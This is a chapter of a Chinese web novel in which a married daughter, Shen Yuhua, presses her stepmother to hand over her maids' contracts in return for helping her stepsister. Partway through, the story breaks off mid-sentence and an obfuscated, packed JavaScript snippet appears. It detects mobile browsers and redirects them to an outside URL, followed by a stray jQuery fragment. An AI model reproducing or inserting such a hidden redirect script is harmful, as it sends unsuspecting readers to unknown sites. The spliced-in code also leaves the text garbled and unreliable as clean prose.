“你现在是侯府少夫人，如今也有些人脉，帮含蕊想想办法...”孟氏欲言又止，眼神闪烁。
“母亲想让我怎么帮？”沈玉华直视着孟氏的眼睛，“让我去求司云霆出面？还是让我去找其他官员施压？”
孟氏面露尴尬：“我...我也是没办法了。含蕊那边都快被气疯了，整日以泪洗面。那钱闻礼还说，要是含蕊敢阻拦，就休了她！”
沈玉华冷笑一声：“母亲，您忘了吗？当初您是怎么对我说的？”
孟氏脸色一变：“玉华，那都是过去的事了...”
“过去的事？”沈玉华站起身来，居高临下地看着孟氏，“当初您可是说，男人三妻四妾天经地义，做妻子的要懂得成全。怎么到了含蕊这里，就变了规矩？”
孟氏脸上一阵红一阵白：“那...那不一样...”
“哪里不一样？”沈玉华步步紧逼，“是因为含蕊是您的亲生女儿，所以就该享受特权？还是因为现在我嫁得好了，您就想让我为含蕊出头？”
孟氏被问得哑口无言，只能低头抹泪：“我知道我对不起你...可含蕊她真的...”
“母亲，”沈玉华打断她的话，“我今日来是为了霜红的婚事。”
“什么婚事？”孟氏一愣。
“我要把她的**契还给她。”沈玉华从袖中取出一张纸，“司采买想娶她，我已经答应了。”
孟氏愣了片刻，随即冷笑道：“你倒是会做好人！一个丫鬟也配...”
“她怎么就不配了？”沈玉华打断道，“芸竹不也是个丫鬟吗？怎么到了钱闻礼那里，就能做贵妾了？”
孟氏被噎住了，半晌说不出话来。
沈玉华将**契放在桌上：“这是霜红的**契，还请母亲在上面盖个章。”
孟氏看着那张纸，迟迟不动。
“怎么？母亲是觉得一个丫鬟的终身大事，还比不上含蕊的面子？”沈玉华冷声道。
孟氏咬了咬牙，终于拿起印章，在**契上重重地盖了下去。
沈玉华慢慢收起**契。
“玉华...”孟氏连忙说道，“含蕊的事...”
沈玉华端起茶盏，茶香袅袅升起，在阳光下氤氲成一片朦胧。她轻轻抿了一口，任由温热的茶水在唇齿间流转。
孟氏的目光灼灼地盯着她，眼中满是期待，手指不自觉地摩挲着手中的帕子。屋内一时陷入沉默，只有檐下风铃偶尔发出清脆的响声。
“含蕊受了这般委屈，我这个做姐姐的自然不能袖手旁观。”沈玉华缓缓放下茶盏，瓷器与木几相碰，发出轻微的叩击声。
“还是玉华最懂事！”孟氏眉开眼笑，脸上的褶皱都舒展开来，“我就知道你最识大体。这些年来，你在侯府过得好，也没忘了娘家。”
沈玉华微微一笑，眼底泛起冷意，“母亲，我也正好有件事想请教。”
孟氏的笑容微微一滞，眼角的笑纹凝固在那里，“何事？”
“我那几个陪嫁丫鬟的**契，似乎不在我这里。”沈玉华的声音依旧平静，仿佛在谈论一件微不足道的小事。
孟氏的脸色瞬间变得有些不自然，她下意识地攥紧了手中的帕子，“这...这是怎么回事？”
“想来是当初操办婚事太过匆忙，母亲一时疏忽了。”沈玉华不紧不慢地说道，目光若有若无地扫过孟氏微微发白的指节，“如今我要用到那些**契，还请母亲一并交给我吧。”
她轻轻放下茶盏，目光平静地看着孟氏，“等拿到**契，我立刻给钱闻礼写信，让他知道含蕊娘家的态度。”
孟氏的手指微微颤动，眼神闪烁不定。屋内的气氛骤然凝重起来，连窗外的鸟鸣声都显得格外刺耳。
这是明晃晃的交换条件。
给**契，就帮含蕊出头。
不给，就休想她插手此事。
孟氏心中暗恨，却又无可奈何。她看着眼前这个举止从容的继女，忽然意识到自己早已失去了主导权。那个当年任她摆布的小姑娘，如今已经成长为一个难以掌控的成**子。
毕竟是她先开口求人，此刻也只能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511827|170583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咬牙应下。
“都怪这些下人办事不利！”孟氏转头对着大嬷嬷怒喝，试图掩饰自己的窘迫，“还不快去把**契找来！”
大嬷嬷连忙应声退下，脚步声匆匆远去。
沈玉华安静地坐着，仿佛丝毫不着急。她的目光落在窗外的桃花树上，枝头已经开始抽出新芽，预示着春天即将到来。
很快，一叠**契便送到了她手中。纸张已经微微泛黄，边角有些磨损，显然是存放了许久。
她仔细检查了一遍，确认每一份契约上的印章和字迹都清晰可辨。直到完全确认无误后，才露出满意的笑容。
“多谢母亲。”她将**契收好，动作轻柔而坚决，“我这就回去给钱闻礼写信。”
孟氏强笑道：“那就有劳玉华了。”笑容僵硬得像是一张面具。
临走前，孟氏又叫住她，声音里带着几分刻意的亲昵，“对了，你表妹明棠要成亲了，你舅母想让她去你府上学些规矩。”
“可以。”沈玉华痛快应下。这种举手之劳的人情，她向来不会吝啬。
用过午膳后，沈玉华告辞离开。她的身影在庭院中渐行渐远，裙摆在微风中轻轻摆动，步伐从容而优雅。
看着女儿远去的背影，沈父不禁想起了已故的发妻苏氏。记忆中那个温婉贤淑的女子仿佛又站在了眼前。
那个出身名门却甘愿下嫁寒门的女子。
那个在他最落魄时给予他帮助的女子。
那个因难产撒手人寰的女子。
如今的玉华，越来越像她的生母了。不仅是容貌，连那份从容不迫的气度都如出一辙。
“玉华说要给钱闻礼写信，替含蕊出头。”孟氏在一旁冷声说道，语气里带着几分不甘。
沈父发出一声不屑的冷笑，“你要是能生个像玉华这般乖巧的姑娘，也不至于落到今天这般田地！”
孟氏脸色铁青，说不出话来。她望着丈夫的背影，心中五味杂陈。这些年来，她费尽心思想要在这个家中站稳脚跟，却始终比不过一个已经故去多年的亡魂。